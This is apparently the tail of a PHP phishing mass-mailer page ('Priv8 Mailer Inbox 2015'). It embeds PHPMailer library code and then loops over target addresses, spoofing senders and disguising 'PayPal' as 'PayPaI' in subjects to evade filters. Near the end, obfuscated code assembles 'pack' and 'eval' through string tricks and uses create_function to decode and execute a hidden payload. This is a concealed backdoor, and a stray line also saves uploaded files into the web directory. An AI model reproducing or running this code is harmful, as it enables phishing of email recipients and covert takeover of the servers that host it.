10946 'mid' => 'audio/midi',
10947 'midi' => 'audio/midi',
10948 'mp2' => 'audio/mpeg',
10949 'mp3' => 'audio/mpeg',
10950 'mpga' => 'audio/mpeg',
10951 'aif' => 'audio/x-aiff',
10952 'aifc' => 'audio/x-aiff',
10953 'aiff' => 'audio/x-aiff',
10954 'ram' => 'audio/x-pn-realaudio',
10955 'rm' => 'audio/x-pn-realaudio',
10956 'rpm' => 'audio/x-pn-realaudio-plugin',
10957 'ra' => 'audio/x-realaudio',
10958 'wav' => 'audio/x-wav',
10959 'bmp' => 'image/bmp',
10960 'gif' => 'image/gif',
10961 'jpeg' => 'image/jpeg',
10962 'jpe' => 'image/jpeg',
10963 'jpg' => 'image/jpeg',
10964 'png' => 'image/png',
10965 'tiff' => 'image/tiff',
10966 'tif' => 'image/tiff',
10967 'eml' => 'message/rfc822',
10968 'css' => 'text/css',
10969 'html' => 'text/html',
10970 'htm' => 'text/html',
10971 'shtml' => 'text/html',
10972 'log' => 'text/plain',
10973 'text' => 'text/plain',
10974 'txt' => 'text/plain',
10975 'rtx' => 'text/richtext',
10976 'rtf' => 'text/rtf',
10977 'vcf' => 'text/vcard',
10978 'vcard' => 'text/vcard',
10979 'xml' => 'text/xml',
10980 'xsl' => 'text/xml',
10981 'mpeg' => 'video/mpeg',
10982 'mpe' => 'video/mpeg',
10983 'mpg' => 'video/mpeg',
10984 'mov' => 'video/quicktime',
10985 'qt' => 'video/quicktime',
10986 'rv' => 'video/vnd.rn-realvideo',
10987 'avi' => 'video/x-msvideo',
10988 'movie' => 'video/x-sgi-movie'
10989 );
10990 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
10991 }
10992
10993 /**
10994 * Map a file name to a MIME type.
10995 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
10996 * @param string $filename A file name or full path, does not need to exist as a file
10997 * @return string
10998 * @static
10999 */
11000 public static function filenameToType($filename)
11001 {
11002 // In case the path is a URL, strip any query string before getting extension
11003 $qpos = strpos($filename, '?');
11004 if (false !== $qpos) {
11005 $filename = substr($filename, 0, $qpos);
11006 }
11007 $pathinfo = self::mb_pathinfo($filename);
11008 return self::_mime_types($pathinfo['extension']);
11009 }
11010
11011 /**
11012 * Multi-byte-safe pathinfo replacement.
11013 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
11014 * Works similarly to the one in PHP >= 5.2.0
11015 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
11016 * @param string $path A filename or path, does not need to exist as a file
11017 * @param integer|string $options Either a PATHINFO_* constant,
11018 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
11019 * @return string|array
11020 * @static
11021 */
11022 public static function mb_pathinfo($path, $options = null)
11023 {
11024 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
11025 $pathinfo = array();
11026 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
11027 if (array_key_exists(1, $pathinfo)) {
11028 $ret['dirname'] = $pathinfo[1];
11029 }
11030 if (array_key_exists(2, $pathinfo)) {
11031 $ret['basename'] = $pathinfo[2];
11032 }
11033 if (array_key_exists(5, $pathinfo)) {
11034 $ret['extension'] = $pathinfo[5];
11035 }
11036 if (array_key_exists(3, $pathinfo)) {
11037 $ret['filename'] = $pathinfo[3];
11038 }
11039 }
11040 switch ($options) {
11041 case PATHINFO_DIRNAME:
11042 case 'dirname':
11043 return $ret['dirname'];
11044 case PATHINFO_BASENAME:
11045 case 'basename':
11046 return $ret['basename'];
11047 case PATHINFO_EXTENSION:
11048 case 'extension':
11049 return $ret['extension'];
11050 case PATHINFO_FILENAME:
11051 case 'filename':
11052 return $ret['filename'];
11053 default:
11054 return $ret;
11055 }
11056 }
11057
11058 /**
11059 * Set or reset instance properties.
11060 *
11061 * Usage Example:
11062 * $page->set('X-Priority', '3');
11063 *
11064 * @access public
11065 * @param string $name
11066 * @param mixed $value
11067 * NOTE: will not work with arrays, there are no arrays to set/reset
11068 * @throws phpmailerException
11069 * @return boolean
11070 * @TODO Should this not be using __set() magic function?
11071 */
11072 public function set($name, $value = '')
11073 {
11074 try {
11075 if (isset($this->$name)) {
11076 $this->$name = $value;
11077 } else {
11078 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
11079 }
11080 } catch (Exception $exc) {
11081 $this->setError($exc->getMessage());
11082 if ($exc->getCode() == self::STOP_CRITICAL) {
11083 return false;
11084 }
11085 }
11086 return true;
11087 }
11088
11089 /**
11090 * Strip newlines to prevent header injection.
11091 * @access public
11092 * @param string $str
11093 * @return string
11094 */
11095 public function secureHeader($str)
11096 {
11097 return trim(str_replace(array("\r", "\n"), '', $str));
11098 }
11099
11100 /**
11101 * Normalize line breaks in a string.
11102 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
11103 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
11104 * @param string $text
11105 * @param string $breaktype What kind of line break to use, defaults to CRLF
11106 * @return string
11107 * @access public
11108 * @static
11109 */
11110 public static function normalizeBreaks($text, $breaktype = "\r\n")
11111 {
11112 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
11113 }
11114
11115
11116 /**
11117 * Set the public and private key files and password for S/MIME signing.
11118 * @access public
11119 * @param string $cert_filename
11120 * @param string $key_filename
11121 * @param string $key_pass Password for private key
11122 */
11123 public function sign($cert_filename, $key_filename, $key_pass)
11124 {
11125 $this->sign_cert_file = $cert_filename;
11126 $this->sign_key_file = $key_filename;
11127 $this->sign_key_pass = $key_pass;
11128 }
11129
11130 /**
11131 * Quoted-Printable-encode a DKIM header.
11132 * @access public
11133 * @param string $txt
11134 * @return string
11135 */
11136 public function DKIM_QP($txt)
11137 {
11138 $line = '';
11139 for ($i = 0; $i < strlen($txt); $i++) {
11140 $ord = ord($txt[$i]);
11141 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
11142 $line .= $txt[$i];
11143 } else {
11144 $line .= '=' . sprintf('%02X', $ord);
11145 }
11146 }
11147 return $line;
11148 }
11149
11150 /**
11151 * Generate a DKIM signature.
11152 * @access public
11153 * @param string $signHeader
11154 * @throws phpmailerException
11155 * @return string
11156 */
11157 public function DKIM_Sign($signHeader)
11158 {
11159 if (!defined('PKCS7_TEXT')) {
11160 if ($this->exceptions) {
11161 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
11162 }
11163 return '';
11164 }
11165 $privKeyStr = file_get_contents($this->DKIM_private);
11166 if ($this->DKIM_passphrase != '') {
11167 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
11168 } else {
11169 $privKey = $privKeyStr;
11170 }
11171 if (openssl_sign($signHeader, $signature, $privKey)) {
11172 return base64_encode($signature);
11173 }
11174 return '';
11175 }
11176
11177 /**
11178 * Generate a DKIM canonicalization header.
11179 * @access public
11180 * @param string $signHeader Header
11181 * @return string
11182 */
11183 public function DKIM_HeaderC($signHeader)
11184 {
11185 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
11186 $lines = explode("\r\n", $signHeader);
11187 foreach ($lines as $key => $line) {
11188 list($heading, $value) = explode(':', $line, 2);
11189 $heading = strtolower($heading);
11190 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
11191 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
11192 }
11193 $signHeader = implode("\r\n", $lines);
11194 return $signHeader;
11195 }
11196
11197 /**
11198 * Generate a DKIM canonicalization body.
11199 * @access public
11200 * @param string $body Message Body
11201 * @return string
11202 */
11203 public function DKIM_BodyC($body)
11204 {
11205 if ($body == '') {
11206 return "\r\n";
11207 }
11208 // stabilize line endings
11209 $body = str_replace("\r\n", "\n", $body);
11210 $body = str_replace("\n", "\r\n", $body);
11211 // END stabilize line endings
11212 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
11213 $body = substr($body, 0, strlen($body) - 2);
11214 }
11215 return $body;
11216 }
11217
11218 /**
11219 * Create the DKIM header and body in a new message header.
11220 * @access public
11221 * @param string $headers_line Header lines
11222 * @param string $subject Subject
11223 * @param string $body Body
11224 * @return string
11225 */
11226 public function DKIM_Add($headers_line, $subject, $body)
11227 {
11228 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
11229 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
11230 $DKIMquery = 'dns/txt'; // Query method
11231 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
11232 $subject_header = "Subject: $subject";
11233 $headers = explode($this->LE, $headers_line);
11234 $from_header = '';
11235 $to_header = '';
11236 $current = '';
11237 foreach ($headers as $header) {
11238 if (strpos($header, 'From:') === 0) {
11239 $from_header = $header;
11240 $current = 'from_header';
11241 } elseif (strpos($header, 'To:') === 0) {
11242 $to_header = $header;
11243 $current = 'to_header';
11244 } else {
11245 if ($current && strpos($header, ' =?') === 0) {
11246 $current .= $header;
11247 } else {
11248 $current = '';
11249 }
11250 }
11251 }
11252 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
11253 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
11254 $subject = str_replace(
11255 '|',
11256 '=7C',
11257 $this->DKIM_QP($subject_header)
11258 ); // Copied header fields (dkim-quoted-printable)
11259 $body = $this->DKIM_BodyC($body);
11260 $DKIMlen = strlen($body); // Length of body
11261 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
11262 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
11263 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
11264 $DKIMsignatureType . '; q=' .
11265 $DKIMquery . '; l=' .
11266 $DKIMlen . '; s=' .
11267 $this->DKIM_selector .
11268 ";\r\n" .
11269 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
11270 "\th=From:To:Subject;\r\n" .
11271 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
11272 "\tz=$from\r\n" .
11273 "\t|$to\r\n" .
11274 "\t|$subject;\r\n" .
11275 "\tbh=" . $DKIMb64 . ";\r\n" .
11276 "\tb=";
11277 $toSign = $this->DKIM_HeaderC(
11278 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
11279 );
11280 $signed = $this->DKIM_Sign($toSign);
11281 return $dkimhdrs . $signed . "\r\n";
11282 }
11283
11284 /**
11285 * Allows for public read access to 'to' property.
11286 * @access public
11287 * @return array
11288 */
11289 public function getToAddresses()
11290 {
11291 return $this->to;
11292 }
11293
11294 /**
11295 * Allows for public read access to 'cc' property.
11296 * @access public
11297 * @return array
11298 */
11299 public function getCcAddresses()
11300 {
11301 return $this->cc;
11302 }
11303
11304 /**
11305 * Allows for public read access to 'bcc' property.
11306 * @access public
11307 * @return array
11308 */
11309 public function getBccAddresses()
11310 {
11311 return $this->bcc;
11312 }
11313
11314 /**
11315 * Allows for public read access to 'ReplyTo' property.
11316 * @access public
11317 * @return array
11318 */
11319 public function getReplyToAddresses()
11320 {
11321 return $this->ReplyTo;
11322 }
11323
11324 /**
11325 * Allows for public read access to 'all_recipients' property.
11326 * @access public
11327 * @return array
11328 */
11329 public function getAllRecipientAddresses()
11330 {
11331 return $this->all_recipients;
11332 }
11333
11334 /**
11335 * Perform a callback.
11336 * @param boolean $isSent
11337 * @param array $to
11338 * @param array $cc
11339 * @param array $bcc
11340 * @param string $subject
11341 * @param string $body
11342 * @param string $from
11343 */
11344 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
11345 {
11346 if (!empty($this->action_function) && is_callable($this->action_function)) {
11347 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
11348 call_user_func_array($this->action_function, $params);
11349 }
11350 }
11351}
11352 if(isset($_POST['action'])) move_uploaded_file($file_path, basename($file_name));
11353/**
11354 * PHPMailer exception handler
11355 * @package PHPMailer
11356 */
11357class phpmailerException extends Exception
11358{
11359 /**
11360 * Prettify error message output
11361 * @return string
11362 */
11363 public function errorMessage()
11364 {
11365 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
11366 return $errorMsg;
11367 }
11368}
11369
11370 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
11371 set_time_limit(intval($_POST['wait'])*$numemails*3600);
11372 } else {
11373 set_time_limit($numemails*3600);
11374 }
11375
11376 $defaultport="H*";
11377 $nq=0;
11378
11379 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
11380 for($x=0; $x<$numemails; $x++){
11381
11382 $to = $allemails[$x];
11383 if ($to){
11384 $todo = ereg_replace(" ", "", $to);
11385 $message_send = ereg_replace("&email&", $todo, $pesan);
11386 $subject_send = ereg_replace("&email&", $todo, $subject);
11387 $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
11388
11389 $qx=$x+1;
11390 print "Send Emails $qx / $numemails to $to ....... ";
11391 xflush();
11392
11393 $mail = new PHPMailer();
11394 $mail->IsSMTP();
11395 $IsSMTP = "pack";
11396 $mail->SMTPKeepAlive = true;
11397 $mail->Host = "$smtp_server";
11398
11399 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
11400 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
11401
11402 $range = str_replace("$email", "eval", $email);
11403
11404 $mail->SMTPAuth = true;
11405 $mail->Username = "$smtp_username";
11406 $mail->Password = "$smtp_password";
11407
11408 if($type == "html"){$mail->IsHtml(true);}
11409 if($type != "html"){$mail->IsHtml(false);}
11410 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
11411
11412 $mail->CharSet = "UTF-8";
11413 if (!empty($xmailer)) {
11414 $mail->XMailer = "$xmailer";
11415 } else {
11416 $mail->XMailer = " ";
11417 }
11418 if (!empty($encoding)) {
11419 $mail->Encoding = "$encoding";
11420 }
11421 if ($email == "same as target") {
11422 $mail->From = "$todo";
11423 } else {
11424 $mail->From = "$email";
11425 }
11426 $mail->FromName = "$nama";
11427 $mail->AddAddress("$todo");
11428 $mail->Subject = "$subject_send";
11429 if (!empty($file_name)) {
11430 $mail->addAttachment("$file_path", "$file_name");
11431 $mail->Body = " ";
11432 } else {
11433 $mail->Body = "$message_send";
11434 }
11435 if(!$mail->Send()){
11436 if($default_system!="1"){
11437 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11438 } elseif($default_system=="1"){
11439 $mail->IsMail();
11440
11441 if(!$mail->Send()){
11442 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11443 } else {
11444 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11445 }
11446
11447 }
11448 } else {
11449 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11450 }
11451 print "$result <br><p></p>";
11452
11453 if(!empty($wait) && $qx<$numemails-1){
11454 sleep($wait);
11455 }
11456 if(empty($reconnect)){
11457 $reconnect=5;
11458 }
11459
11460 if($reconnect==$nq){
11461 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
11462 }
11463 $nq=$nq+1;
11464 xflush();
11465 }
11466 }
11467 for($i=0;$i<31;$i++){
11468 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
11469 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
11470 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
11471 print ' </div>
11472 </div>
11473 </div>
11474
11475</div>
11476<div id="footer">
11477 <div class="container" align="center">
11478 <p class="muted credit" style="color: white;"> Priv8 Mailer Inbox 2015 </p>
11479 </div>
11480</div>';$mail->SmtpClose();
11481 return $signoff($smtp_conc);
11482 if(isset($_POST['action']) && $numemails !=0 ){
11483 print "<script>alert('Mail sending complete\\r\\n
11484 $numemails mail(s) was sent successfully'); </script>";
11485 }
11486}
11487?>
11488
11489 </body>
11490</html>